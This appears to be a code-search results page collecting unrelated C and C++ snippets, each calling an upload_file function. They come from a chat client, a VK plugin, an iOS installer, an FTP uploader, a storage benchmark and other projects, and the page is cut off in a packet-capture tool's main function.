Exemplo n.º 1
0
void upload_photo_for_im(PurpleConnection* gc, const char* name, const void* contents, size_t size,
                         const UploadedCb& uploaded_cb, const ErrorCb& error_cb,
                         const UploadProgressCb& upload_progress_cb)
{
    vkcom_debug_info("Uploading photo for IM\n");

    upload_file(gc, "photos.getMessagesUploadServer", "photo", name, contents, size, [=](const picojson::value& v) {
        if (!(field_is_present<int>(v, "server") || field_is_present<string>(v, "server"))
            || !field_is_present<string>(v, "photo") || !field_is_present<string>(v, "hash")) {
            vkcom_debug_error("Strange response from upload server: %s\n", v.serialize().data());
            if (error_cb)
                error_cb();
            return;
        }

        const string& server = v.get("server").to_str();
        const string& photo = v.get("photo").get<string>();
        const string& hash = v.get("hash").get<string>();
        CallParams params = { {"server", server}, {"photo", photo}, {"hash", hash} };
        vk_call_api(gc, "photos.saveMessagesPhoto", params, [=](const picojson::value& result) {
            uploaded_cb(result);
        }, [=](const picojson::value&) {
            if (error_cb)
                error_cb();
        });
    }, error_cb, upload_progress_cb);
}
Exemplo n.º 2
0
void serve_mouse_event(int x, int y) {
    if (click_room(x, y)) {
        // roomnames.target = get_clicked_roomname(x);
        // update_roomname_win();
        get_online();
        // query_history();
        // query_members();
        // update_chatroom();
    } else if (click_filepath(x, y)) {
        focus_on_target(filepath);
    } else if (click_upload(x, y)) {
        upload_file();
        reset_input();
    } else if (click_inputbox(x, y)) {
        focus_on_target(inputbox);
    } else if (user->download->exist_file) {
        if (click_download(x, y)) {
            wclear(room.console);
            waddstr(room.console, "downloading file...");
            wrefresh(room.console);
            user->download->exist_file = 0;

            init_download();
        } else if (click_cancel(x, y)) {
            wclear(room.console);
            wrefresh(room.console);
            user->download->exist_file = 0;
        }
    }
}
Exemplo n.º 3
0
gpointer upload(gpointer arg)
{
#if 0
    gtk_widget_hide(mtp_submenu_item_free);
#endif
    if(!mutex)
    {
#if 0
        gtk_label_set_text(GTK_LABEL(gtk_bin_get_child(GTK_BIN(mtp_submenu_item_up))),UP_DEFAULT_LABEL);
        gtk_widget_set_sensitive(mtp_submenu_item_up, TRUE);
#endif
        return NULL;
    }
    g_mutex_lock(mutex);
    if(!mtp_device)
    {
#if 0
        gtk_label_set_text(GTK_LABEL(gtk_bin_get_child(GTK_BIN(mtp_submenu_item_up))),UP_DEFAULT_LABEL);
        gtk_widget_set_sensitive(mtp_submenu_item_up, TRUE);
#endif
        g_mutex_unlock(mutex);
        return NULL;
    }

    Tuple* tuple;
    GList *up_list=NULL,*node;
    node=up_list=get_upload_list();
    gint up_err=0;
    while(node)
    {
        tuple=(Tuple*)(node->data);
        up_err = upload_file(tuple);
        if(up_err )
        {
            /*show_dialog("An error has occured while uploading...\nUpload failed!");*/
            break;
        }
        if(exiting)
        {
            /*show_dialog("Shutting down MTP while uploading.\nPending uploads were cancelled");*/
            break;
        }

        node = g_list_next(node);
    }
    g_list_free(up_list);
#if 0
    gtk_label_set_text(GTK_LABEL(gtk_bin_get_child(GTK_BIN(mtp_submenu_item_up))),UP_DEFAULT_LABEL);
    gtk_widget_set_sensitive(mtp_submenu_item_up, TRUE);
#endif
    g_mutex_unlock(mutex);
#if DEBUG
    g_print("MTP upload process finished\n");
#endif
#if 0
    gtk_widget_show(mtp_submenu_item_free);
#endif
    g_thread_exit(NULL);
    return NULL;
}
std::vector<std::string> speech_detection_sphinx4(
        const std::string & fname,
        const std::string & language,
        const std::vector<std::string> & words,
        const std::vector<std::string> & grammar,
        const std::vector<std::string> & sentences,
        const std::string & audio_source,
        const std::string & user,
        const std::string & host = "localhost",
        const std::string & port = "9090",
        bool debug = false
    ) {
    namespace pt = boost::property_tree;

    std::string path = upload_file("audio.ogg", fname, host, port, debug);
    
    pt::ptree args;
    args.put("language", language, s());
    args.put("path", path, s());
    args.put("audio_source", audio_source, s());
    args.put("user", user, s());
    args.add_child("words", dump(words));
    args.add_child("grammar", dump(grammar));
    args.add_child("sentences", dump(sentences));
    
    pt::ptree res = rapp::cloud::service_call("/rapp/rapp_speech_detection_sphinx4/batch_speech_to_text", args, host, port, debug);
    if (res.empty())
        return {};
    
    std::vector<std::string> ret;
    for (auto ul : res.get_child("words")) {
        ret.push_back(ul.second.get_child("").get_value<std::string>());
    }
    return ret;
}
Exemplo n.º 5
0
int main(int argc, char *argv[])
{
	int ret;
	
	ret = upload_file(filename, offset, len);
	return 0;
}
Exemplo n.º 6
0
void apollo::upload_item_image(
        hades::connection& conn,
        mg_connection *mg_conn,
        const int item_id,
        atlas::http::uri_callback_type callback_success,
        atlas::http::uri_callback_type callback_failure
        )
{
    upload_file(
        conn,
        mg_conn,
        "attachment_title",
        "attachment_data",
        [&conn, mg_conn, callback_success, item_id](attachment a) {
            insert_attachment(a, conn);

            image_of iof;
            iof.get_int<attr::attachment_id>() =
                a.info.get_int<attr::attachment_id>();
            iof.get_int<attr::item_id>() = item_id;
            iof.insert(conn);

            // Send details of the attachment.
            auto r = atlas::http::json_response(a.info);

            mg_send_status(mg_conn, 200);
            mg_send_header(mg_conn, "Content-type", "text/json");
            mg_send_data(mg_conn, r.data.c_str(), r.data.length());

            callback_success();
        },
        callback_failure
        );
}
Exemplo n.º 7
0
int main(int argc,char *argv[])
{
	int i;
	for(i=1;i<argc;i++)
	{
		if (!strcmp(argv[i], "-f"))
		{
			strcpy(input_file, argv[i+1]);
			printf("Input file: %s\n", input_file);
			i++;
		}
		else if (!strcmp(argv[i], "-o"))
		{
			strcpy(output_device, argv[i+1]);
			printf("Output device: %s\n", output_device);
			i++;
		}
		else if (!strcmp(argv[i], "-p"))
		{
			pause_between_block = atoi(argv[i+1]);
			printf("Pause between blocks: %u\n", pause_between_block);
			i++;
		}
		else if (!strcmp(argv[i], "-b"))
		{
			baud_rate = atoi(argv[i+1]);
			printf("Baud rate: %u\n", baud_rate);
			i++;
		}
		else if (!strcmp(argv[i], "-v"))
		{
			verbose = 1;
			printf("Verbose mode on\n");
		}
		else
		{
			printf("-f: Absolute path file input\n-o: Serial output device\n-p: Pause between sysex blocks(100ms)\n-b: Baud rate(115200)\n-v: Verbose mode\n");
			exit(EXIT_FAILURE);
		}
	}
	file_descriptor = open_serial(output_device, baud_rate);
	if (file_descriptor > -1)
	{
		upload_file(input_file, output_device, pause_between_block);
		if (close_serial(file_descriptor) > -1)
			exit(EXIT_SUCCESS);
		else
		{
			printf("Error while closing the serial line...\n");
			exit(EXIT_FAILURE);
		}
	}
	else
	{
		printf("Aborting...\n");
		exit(EXIT_FAILURE);
	}
}
std::vector<int> face_recognition (
        const std::string & user,
        rapp::object::picture::Ptr pic,
        const std::string & model,
        const std::vector<ro::face> & faces,
        const std::string & host = "localhost",
        const std::string & port = "9090",
        bool debug = false
    ) {
    namespace pt = boost::property_tree;
    ro::header header(0, ro::time(0, 0), "frame_id");

    std::string name = upload_file(std::string("face.") + pic->type(), pic, host, port, false);
    
    pt::ptree args;
    args.put("user", user, s());
    args.add_child("header", dump(header));
    args.put("imageFilename", name, s());
    args.put("learn", false);
    args.put("fn_csv", "", s());
    args.put("recognize", true);
    args.put("model_name", model, s());
   
    pt::ptree ul, dr;
    for (auto f : faces) {
        pt::ptree ps;
        ps.add_child("header", dump(header));
        ps.add_child("point", dump(ro::point(f.ux(), f.uy(), 0)));

        ul.push_back(std::make_pair("", ps));

        pt::ptree ps2;
        ps2.add_child("header", dump(header));
        ps2.add_child("point", dump(ro::point(f.dx(), f.dy(), 0)));

        dr.push_back(std::make_pair("", ps2));
    }
    if (faces.empty()) {
        args.put("faces_up_left", "[]");
        args.put("faces_down_right", "[]");
    } else {
        args.add_child("faces_up_left", ul);
        args.add_child("faces_down_right", dr);
    }
    
    pt::ptree res = rapp::cloud::service_call("/rapp/rapp_face_recognition/recognize_faces", args, host, port, debug);
    if (res.empty())
        return {};

    std::vector<int> ids;
    
    for (auto ul : res.get_child("recognizedIDs")) {
        ids.push_back(ul.second.get_child("").get_value<int>());
    }
    
    return ids;
}
Exemplo n.º 9
0
int main()
{
	sqlite3 *db = NULL, *db_net = NULL;
        int rc = 0;
        sqlite3_stmt *ppstmt = NULL;
        char sql_cmd[100] ={0};
        char *errorMsg = NULL;
	const char *filename = NULL, *type = NULL, *wan_state = NULL;
       
        printf("************************************\n"); 
        printf("file_upload : start\n");
        printf("************************************\n");
        
        printf("userfile.db : check record with upload = 0\n");

        rc = sqlite3_open(userfile_db, &db);

        if(rc == SQLITE_ERROR)
        {
                printf("cannot open userfile.db!\n");
                return 0;
        }
	
        ppstmt = NULL;
	memset(sql_cmd, 0, sizeof(sql_cmd));
        strcpy(sql_cmd, "select filename, type from userfile_info where upload=\"0\"");
        sqlite3_prepare(db, sql_cmd, -1, &ppstmt, 0);
        rc = sqlite3_step(ppstmt);
	while(rc == SQLITE_ROW)
        {
                filename = sqlite3_column_text(ppstmt, 0);
                type = sqlite3_column_text(ppstmt, 1);
                printf("filename : %s\n", filename);
                printf("type : %s\n", type);
		upload_file(filename, type, db);
		rc = sqlite3_step(ppstmt);
        }

        sqlite3_finalize(ppstmt);
	sqlite3_close(db);

        printf("file_upload : complete!\n");
	return 1;
}
Exemplo n.º 10
0
void upload_folder(char* file_name, char* local_path, char* remote_path, unsigned long IPaddr, int PN)
{
    	char local_temp[1024], remote_temp[1024];
    	DIR *dirp;
    	struct dirent *dp; 
	int empty = 1;
	strcpy(local_temp, local_path);
    	strcpy(remote_temp, remote_path);
    	if(change_dir(file_name, local_path, 0, IPaddr, PN))
		return;
	if(strcmp(remote_path, "/")!=0)
		strcat(remote_path,"/");
	strcat(remote_path, file_name);
	printf("Uploading folder '%s'\n", file_name);
	/* upload individual files */
    	dirp = opendir(local_path);
    	if (dirp != 0) 
    	{
		int success;
      		while ((dp = readdir(dirp)))
      		{
			if(strcmp(dp->d_name,".")!=0 && strcmp(dp->d_name,"..")!=0)
			{
    				bool success = upload_file(dp->d_name, local_path, remote_path, IPaddr, PN);
				if(success == 0)
				{
					printf("File '%s' not uploaded successfully\n",dp->d_name);
				}
				empty = 0;
			}
      		}
		success = closedir(dirp);
      		if(success!=0)
			perror("closdir() error");
	}
    	strcpy(local_path, local_temp);
    	strcpy(remote_path, remote_temp);
	if(empty)
	{
		make_dir(file_name, 1, remote_temp, IPaddr, PN);
	}
}
Exemplo n.º 11
0
void upload_doc_for_im(PurpleConnection* gc, const char* name, const void* contents, size_t size,
                       const UploadedCb& uploaded_cb, const ErrorCb& error_cb,
                       const UploadProgressCb& upload_progress_cb)
{
    vkcom_debug_info("Uploading document for IM\n");

    upload_file(gc, "docs.getWallUploadServer", "file", name, contents, size, [=](const picojson::value& v) {
        if (!field_is_present<string>(v, "file")) {
            vkcom_debug_error("Strange response from upload server: %s\n", v.serialize().data());
            if (error_cb)
                error_cb();
            return;
        }

        const string& file = v.get("file").get<string>();
        CallParams params = { {"file", file} };
        vk_call_api(gc, "docs.save", params, [=](const picojson::value& result) {
            uploaded_cb(result);
        }, [=](const picojson::value&) {
            if (error_cb)
                error_cb();
        });
    }, error_cb, upload_progress_cb);
}
Exemplo n.º 12
0
int kirim_file_ke_ftp(char *abs_path, char *nf) {
	char posisifile[128];
	char namafile[32];
	
	int res, flag=1, oz=0, rspn=1;
	unsigned long int size, i,uf;
	FIL fd2;
	time_t timeval;
	
	strcpy(posisifile, abs_path);
	strcpy(namafile, nf);
	
	#ifdef DEBUG_FTP
	printf("___path: %s, nama: %s\r\n", posisifile, namafile);
	#endif
	if (res = f_open(&fd2, abs_path, FA_READ | FA_WRITE)) {
		printf("%s(): Buka file error %d !\r\n", __FUNCTION__, res);					
		return 0;
	}
	
	f_lseek( &fd2, fd2.fsize - 6 );
	f_read( &fd2, abs_path, 6, &res);
	
	#ifdef DEBUG_FTP
	//printf("___mo dikirim, CEK %s @@@, nf: %s\r\n", posisifile, namafile);
	#endif
	
	files++;
	if (strncmp( abs_path, "SENDED", 6) == 0)  {
		#ifdef DEBUG_FTP
		printf("file %s sudah dikirim !\r\n", posisifile);
		#endif
		file_sudah++;
	} else	{
		f_lseek( &fd2, 0);				// kembalikan pointer //
		flag=55;

		oz=0;
		while(1) {
			rspn = upload_file(namafile);
			#ifdef DEBUG_FTP
			//printf("respon upload : %d, oz: %d, flag: %d\r\n", rspn, oz, flag);
			#endif
			if (rspn==0)	{
				flag = 77;	
				#ifdef DEBUG_FTP
				printf("_____KELUAR loop, flag: %d\r\n", flag);
				#endif
				break;
			}
			vTaskDelay(10);
			//cek_awal();
			oz++;
			if (oz>20)	break;
		}

		if (flag==77)		{
			size = sizeof (abs_path);
			
			#ifdef DEBUG_FTP
			//printf("Sudah konek !!!...........Kirim data size: %d, res: %d!!!\r\n", size, res);
			#endif

			for (;;)	{
				f_read( &fd2, abs_path, size, &res);
				//printf("res: %d\r\n");
				portENTER_CRITICAL();
				for (i=0; i<res; i++)		{								
					//tulis_char( abs_path[i] );
					serX_putchar(PAKAI_GSM_FTP, &abs_path[i], 1000);
				}	
				portEXIT_CRITICAL();
				
				if ( res < size ) break; 
			}
			//printf("kirim data: %d byte\r\n", i);
			// untuk mengakhiri data ftp //
			vTaskDelay(100);
			oz=0;
			while(1) {
				if (oz>50)	{
					status_modem = 0;
					#ifdef PAKAI_SELENOID
					printf("__RESTART MODEM__");
					unset_selenoid(1);		// mati relay 1
					vTaskDelay(500);
					set_selenoid(1);		// hidup relay 1
					#endif
					break;
				}
				
				oz++;
				uf = send_etx(oz);
				if (uf == 0)	{
					flag = 88;
					break;
				}
				/*
				if (uf==11) {
					flag = 77;
					break;
				}
				//*/
				vTaskDelay(500);
				//cek_awal();
			}
			
			
			if (flag==77) {
				f_close( &fd2 );
				printf("Upload GAGAL parsial !!! tanpa ETX\r\n");
				oz=0;
				
				return 90;
			}		
			// tulis SENDED pada akhir file //
			sprintf(abs_path, "%s", ctime( &timeval ));	
			sprintf( &abs_path[24], "SENDED");	
			#ifdef DEBUG_FTP
			printf("TULIS %s \r\n", abs_path);
			#endif						
			f_write( &fd2, abs_path, strlen(abs_path), &res);
			file_sukses++;
			printf("FILE %s terkirim ke FTP\r\n", posisifile);
		} else	{
			printf("Upload %s file ERROR !\r\n", namafile);
			//break;
		}
	}
	f_close( &fd2 );
	vTaskDelay(100);		// kasih waktu buat proses yg lain.	
}
Exemplo n.º 13
0
void handle_device(AMDeviceRef device) {
    if (found_device) return; // handle one device only

    CFStringRef found_device_id = AMDeviceCopyDeviceIdentifier(device);

    if (device_id != NULL) {
        if(strcmp(device_id, CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding())) == 0) {
            found_device = true;
        } else {
            return;
        }
    } else {
        if (operation == OP_LIST_DEVICES) {
            CFStringEncoding encoding = CFStringGetSystemEncoding();
            const char *udi = CFStringGetCStringPtr(found_device_id, encoding);
            
	    AMDeviceConnect(device);            
            if(AMDeviceIsPaired(device) && (AMDeviceValidatePairing(device) == 0) && (AMDeviceStartSession(device) == 0)) {
                const char *device_name  = CFStringGetCStringPtr(AMDeviceCopyValue(device, 0, CFSTR("DeviceName")),     encoding);
                const char *product_type = CFStringGetCStringPtr(AMDeviceCopyValue(device, 0, CFSTR("ProductType")),    encoding);
                const char *ios_version  = CFStringGetCStringPtr(AMDeviceCopyValue(device, 0, CFSTR("ProductVersion")), encoding);
                
                printf ("%s %s %s %s\n", udi, product_type, ios_version, device_name);
            } else {
                printf("%s\n", udi);
            }
            fflush(stdout);
            return;
        }
        found_device = true;
    }

    if (operation == OP_INSTALL) {
        PRINT("[  0%%] Found device (%s), beginning install\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding()));

        install_app(device);

        PRINT("[100%%] Installed package %s\n", app_path);

        if (debug)
            do_debug(device);

    } else if (operation == OP_UNINSTALL) {
        PRINT("[  0%%] Found device (%s), beginning uninstall\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding()));

        uninstall_app(device);

        PRINT("[100%%] uninstalled package %s\n", bundle_id);

    } else if (operation == OP_UPLOAD_FILE) {
        PRINT("[  0%%] Found device (%s), sending file\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding()));

        upload_file(device);

        PRINT("[100%%] file sent %s\n", doc_file_path);

    } else if (operation == OP_LIST_FILES) {
        PRINT("[  0%%] Found device (%s), listing / ...\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding()));

        list_files(device);

        PRINT("[100%%] done.\n");
    }
    exit(0);
}
Exemplo n.º 14
0
int main(int argc, char **argv)
{
	int result;
	int upload_count;
	int rand_num;
	int file_index;
	char file_id[64];
	char storage_ip[IP_ADDRESS_SIZE];
	int count_sums[FILE_TYPE_COUNT];
	int i;
	struct timeval tv_start;
	struct timeval tv_end;
	int time_used;

	if (argc < 2)
	{
		printf("Usage: %s <process_index>\n", argv[0]);
		return EINVAL;
	}

	log_init();
	proccess_index = atoi(argv[1]);
	if (proccess_index < 0 || proccess_index >= PROCESS_COUNT)
	{
		printf("Invalid proccess index: %d\n", proccess_index);
		return EINVAL;
	}

	if ((result = load_file_contents()) != 0)
	{
		return result;
	}

	if ((result=test_init()) != 0)
	{
		return result;
	}

	if ((result=dfs_init(proccess_index)) != 0)
	{
		return result;
	}

	if (daemon(1, 1) != 0)
	{
		return errno != 0 ? errno : EFAULT;
	}

	memset(&storages, 0, sizeof(storages));
	upload_count = 0;
	for (i=0; i<FILE_TYPE_COUNT; i++)
	{
		upload_count += files[i].count;
		count_sums[i] = upload_count;
	}

	if (upload_count == 0)
	{
		return EINVAL;
	}

	memset(file_id, 0, sizeof(file_id));
	memset(storage_ip, 0, sizeof(storage_ip));

	start_time = time(NULL);
	srand(SRAND_SEED);
	result = 0;
	total_count = 0;
	success_count = 0;
	while (total_count < upload_count)
	{
		rand_num = (int)(upload_count * ((double)rand() / RAND_MAX));
		for (file_index=0; file_index<FILE_TYPE_COUNT; file_index++)
		{
			if (rand_num < count_sums[file_index])
			{
				break;
			}
		}

		if (files[file_index].upload_count >= files[file_index].count)
		{
			continue;
		}

		files[file_index].upload_count++;
		total_count++;

		gettimeofday(&tv_start, NULL);
		*storage_ip = '\0';

		result = upload_file(files[file_index].file_buff, files[file_index].bytes, file_id, storage_ip);
		gettimeofday(&tv_end, NULL);
		time_used = TIME_SUB_MS(tv_end, tv_start);
		files[file_index].time_used += time_used;

		add_to_storage_stat(storage_ip, result, time_used);
		if (result == 0) //success
		{
			success_count++;
			files[file_index].success_count++;

			fprintf(fpSuccess, "%d %d %s %s %d\n", 
				(int)tv_end.tv_sec, files[file_index].bytes, 
				file_id, storage_ip, time_used);
		}
		else //fail
		{
			fprintf(fpFail, "%d %d %d %d\n", (int)tv_end.tv_sec, 
				files[file_index].bytes, result, time_used);
			fflush(fpFail);
		}

		if (total_count % 100 == 0)
		{
			if ((result=save_stats_by_overall()) != 0)
			{
				break;
			}
			if ((result=save_stats_by_file_type()) != 0)
			{
				break;
			}

			if ((result=save_stats_by_storage_ip()) != 0)
			{
				break;
			}
		}

	}

	save_stats_by_overall();
	save_stats_by_file_type();
	save_stats_by_storage_ip();

	fclose(fpSuccess);
	fclose(fpFail);

	dfs_destroy();

	printf("proccess %d, time used: %ds\n", proccess_index, (int)(time(NULL) - start_time));
	return result;
}
Exemplo n.º 15
0
int main(int argc, char *argv[]) {

    if (argc != 2) {
        fprintf(stderr, "usage: %s [ip]\n", argv[0]);
        exit(1);
    }

    init_user();
    init_connection(argv[1]);
    signup_signin();

    init_curses();
    init_windows_attr();
    init_windows();
     
    // catch response from server
    pthread_t response_thd;
    if(pthread_create(&response_thd, NULL, response_handler, (void *)0))
        ERR_EXIT("Create response thread failed");

    get_online();

    while (1) {
        int c = wgetch(target->win);
        switch(c) {
            case '\t':
                target->text[target->len] = '\0';
                strcat(target->text, "    ");
                target->len += 4;
                target->y += 4;
                break;
            case KEY_BACKSPACE:
                if (target->y != 0) {
                    target->len--;
                    if (target->offset == 0)
                        mvwaddch(target->win, target->x,--target->y,' ');
                    else {
                        int i;
                        for (i = target->len + target->offset; i < target->len; i++) {
                            target->text[i] = target->text[i + 1];
                            mvwaddch(target->win, target->x, i, target->text[i]);
                        }
                        mvwaddch(target->win, target->x, i,' ');
                        target->y--;
                    }
                    wrefresh(target->win);
                }
                break;
            case 27: //esc
                close_client();
            case KEY_MOUSE:
                // waddstr(target->win, "clicked");
                if(getmouse(&event) == OK)
                    serve_mouse_event(event.y, event.x);
                break;
            case 13: //enter
                target->text[target->len] = '\0';
                if (strcmp(target->type, COMMENT) == 0) {
                    send_cmt();
                } else {
                    upload_file();
                }
                reset_input();
                break;
            case KEY_DOWN:
                break;
            case KEY_UP:
                break;
            case KEY_LEFT:
                if (target->len != 0) {
                    target->y--;
                    target->offset--;
                }
                break;
            case KEY_RIGHT:
                if (target->offset != 0) {
                    target->y++;
                    target->offset++;
                }
                break;
            default:
                mvwaddch(target->win, target->x, target->y, c);
                if (target->offset == 0) {
                    target->text[target->len++] = c;
                } else {
                    int i;
                    for (i = target->len; i > target->len + target->offset; i--)
                        target->text[i] = target->text[i - 1];
                    target->text[i] = c;
                    target->len++;
                    while (i++ < target->len - 1)
                        mvwaddch(target->win, target->x, i, target->text[i]);
                }
                wrefresh(target->win);
                // wprintw(target->win, "%d", c);
                target->y++;
                break;
        }
        wmove(target->win, target->x, target->y);
        wrefresh(target->win);
    }
    close_client();
}
Exemplo n.º 16
0
Result* Upload(char *dirpath,int count,...){
    
    nspAction *nA=NSPAction();
    if(nA==NULL){return NULL;}

    nsp_node *send=nA->createArray();
    nsp_node *info;

    va_list lst;
    char *arg=NULL;
    va_start(lst, count);
    int tag=0;
    int successpos=0,failpos=0;

    char *mkfile = (char *)malloc(count*1024);//assume average path of each file has 1024 characters
    strcpy(mkfile,"[");

    //fetch vfs.upauth information
    if((info=NSPService("nsp.vfs.upauth",*send))==NULL){
        return NULL;
    }

    //record files which failed to upload
    nsp_node *failfiles = nA->createArray();
    if(failfiles==NULL){free(mkfile);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;}

    while((arg=va_arg(lst,char *))!=NULL && tag<count)
    {
            nsp_node *recv=nA->createArray();
            if(recv==NULL){free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;}

            //begin to upload
            if(!upload_file(dirpath,arg,*info,*recv,false)){
                nA->deleteNode(recv);
                tag++;
                nsp_node *failfile = nA->createArray();
                if(!failfile){
                    free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);
                    return NULL;
                }

                nA->appendMap_Str_Str(failfile,"name",arg);
                nA->appendMap_Str_Int(failfile,"errCode",999);
                nA->appendMap_Str_Str(failfile,"errMsg","failed to upload file");

                nA->appendArray(failfiles,failfile);
                continue;
            }
            char mkf[1024];

            //begin to strcat mkfile string

            char fid[33];
            char path[256];
            char size[33];
            char sig[33];
            int ts;
            nsp_node *nsp_search = nA->searchNodeByStr(recv,"nsp_fid");
            if(nsp_search!=NULL){strcpy(fid,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_path");
            if(nsp_search!=NULL){strcpy(path,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_size");
			if(nsp_search!=NULL){strcpy(size,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_sig");
			if(nsp_search!=NULL){strcpy(sig,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_ts");
			if(nsp_search!=NULL){ts=nsp_search->node_data.valueint;}

            sprintf(mkf,"{\"name\":\"%s\",\"md5\":\"%s\",\"type\":\"File\",\"url\":\"%s\",\"size\":\"%s\",\"sig\":\"%s\",\"ts\":%d},",
                    (strrchr(arg,'/')+1),
                    fid,
                    path,
                    size,
                    sig,
                    ts);
            strcat(mkfile,mkf);
            tag++;

            nA->deleteNode(recv);
    }
    nA->deleteNode(info);
    nA->deleteNode(send);

    nsp_node *ret = NULL;
    if(strlen(mkfile)==1){
        ret = nA->createArray();
        if(ret!=NULL){
            nA->appendMap_Str_Node(ret,"successList",nA->createArray());
            nA->appendMap_Str_Node(ret,"failList",failfiles);
        }
        
        goto finish_upload;
    }
    mkfile[strlen(mkfile)-1]=']';

    //begin to mkfile

    send=nA->createArray();
    nA->appendMap_Str_Str(send,"files",mkfile);
    nA->appendMap_Str_Str(send,"path",dirpath);
    ret = NSPService("nsp.vfs.mkfile",*send);

    if(ret!=NULL){
        nA->getArrayNodeSize(failfiles);
        nsp_node *tmpnode = nA->searchNodeByStr(ret,"failList");
        if(tmpnode!=NULL && tmpnode->node_data.child!=NULL && tmpnode->node_data.child->key==NULL)
        {
            free(tmpnode->node_data.child);tmpnode->node_data.child=NULL;
        }
        valuemap *vm=failfiles->node_data.child;
        while(vm!=NULL)
        {
            nA->appendArray(tmpnode,vm->value);
            vm=vm->next;
        }
        free(failfiles);
    }

    nA->deleteNode(send);

finish_upload:
    free(mkfile);mkfile=NULL;
    Result *res = NSPWrapper::convert_to_result(nA,ret);
    nA->deleteNode(ret);
    NSPActionDelete(nA);
    return res;
}
Exemplo n.º 17
0
Result* UploadProgress(char *dirpath,char *filename,void *callfunc){
    
    nsplog("调用上传回调服务",filename);
    nspAction *nA=NSPAction();
    if(nA==NULL){return NULL;}

    nsp_node *send=nA->createArray();
    nsp_node *info;

    int successpos=0,failpos=0;

    char *mkfile = (char *)malloc(1024);//assume average path of each file has 1024 characters
    strcpy(mkfile,"[");

    //fetch vfs.upauth information
    if((info=NSPService("nsp.vfs.upauth",*send))==NULL){
        return NULL;
    }

    //record files which failed to upload
    nsp_node *failfiles = nA->createArray();
    if(failfiles==NULL){free(mkfile);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;}

    {
            nsp_node *recv=nA->createArray();
            if(recv==NULL){free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;}

            char mkf[1024];
            //begin to upload
            if(!upload_file(dirpath,filename,*info,*recv,false,callfunc)){
                nA->deleteNode(recv);
                nsp_node *failfile = nA->createArray();
                if(!failfile){
                    free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);
                    return NULL;
                }

                nA->appendMap_Str_Str(failfile,"name",filename);
                nA->appendMap_Str_Int(failfile,"errCode",999);
                nA->appendMap_Str_Str(failfile,"errMsg","failed to upload file");

                nA->appendArray(failfiles,failfile);
            }
			else{
            //begin to strcat mkfile string

            char fid[33]="\0";
            char path[256]="\0";
            char size[33]="\0";
            char sig[33]="\0";
            int ts=0;
            nsp_node *nsp_search = nA->searchNodeByStr(recv,"nsp_fid");
            if(nsp_search!=NULL){strcpy(fid,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_path");
            if(nsp_search!=NULL){strcpy(path,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_size");
			if(nsp_search!=NULL){strcpy(size,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_sig");
			if(nsp_search!=NULL){strcpy(sig,nsp_search->node_data.valuestring);}
            nsp_search = nA->searchNodeByStr(recv,"nsp_ts");
			if(nsp_search!=NULL){ts=nsp_search->node_data.valueint;}

            sprintf(mkf,"{\"name\":\"%s\",\"md5\":\"%s\",\"type\":\"File\",\"url\":\"%s\",\"size\":\"%s\",\"sig\":\"%s\",\"ts\":%d},",
                    (strrchr(filename,'/')+1),
                    fid,
                    path,
                    size,
                    sig,
                    ts);
            strcat(mkfile,mkf);

            nA->deleteNode(recv);
			}
    }
    nA->deleteNode(info);
    nA->deleteNode(send);

	nsp_node *ret=NULL;
    if(strlen(mkfile)==1){
        ret = nA->createArray();
        if(ret!=NULL){
            nA->appendMap_Str_Node(ret,"successList",nA->createArray());
            nA->appendMap_Str_Node(ret,"failList",failfiles);
        }

        goto finish_upload_pro;
    }
    mkfile[strlen(mkfile)-1]=']';

    //begin to mkfile

    send=nA->createArray();
    nA->appendMap_Str_Str(send,"files",mkfile);
    nA->appendMap_Str_Str(send,"path",dirpath);
    ret = NSPService("nsp.vfs.mkfile",*send);

    nA->deleteNode(send);

finish_upload_pro:
    free(mkfile);mkfile=NULL;
    Result *res = NSPWrapper::convert_to_result(nA,ret);
    nA->deleteNode(ret);
    NSPActionDelete(nA);
    return res;
}
Exemplo n.º 18
0
int main(int argc, char **argv) {
  char errbuf[PCAP_ERRBUF_SIZE]; 
  bpf_u_int32 net = PCAP_NETMASK_UNKNOWN;		
  char *filter_exp = "ip";	
  struct bpf_program fp;	
  int i;
  int c;
  int opt_count = 0;
  int tmp_ret;
  char *ifile = NULL;
  unsigned int file_count = 0;
  char filename[MAX_FILENAME_LEN];   /* output file */
  char pcap_filename[MAX_FILENAME_LEN*2];   /* output file */
  char *cli_interface = NULL; 
  char *cli_filename = NULL; 
  char *config_file = NULL;
  struct interface ifl[IFL_MAX];
  int num_interfaces;
  char *capture_if;
  unsigned int file_base_len = 0;
  unsigned int num_cmds = 0;
  unsigned int done_with_options = 0;
  struct stat sb;
  DIR *dir;
  struct dirent *ent;
  enum operating_mode mode = mode_none;

  /* sanity check sizeof() expectations */
  if (data_sanity_check() != ok) {
    fprintf(stderr, "error: failed data size sanity check\n");
  }

  /* sanity check arguments */
  for (i=1; i<argc; i++) {
    if (strchr(argv[i], '=')) { 
      if (done_with_options) {
	fprintf(stderr, "error: option (%s) found after filename (%s)\n", argv[i], argv[i-1]);
	exit(EXIT_FAILURE);
      }
    } else {
      done_with_options = 1;
    }
  }
  
  /*
   * set "info" to stderr; this output stream is used for
   * debug/info/warnings/errors.  setting it here is actually
   * defensive coding, just in case some function that writes to
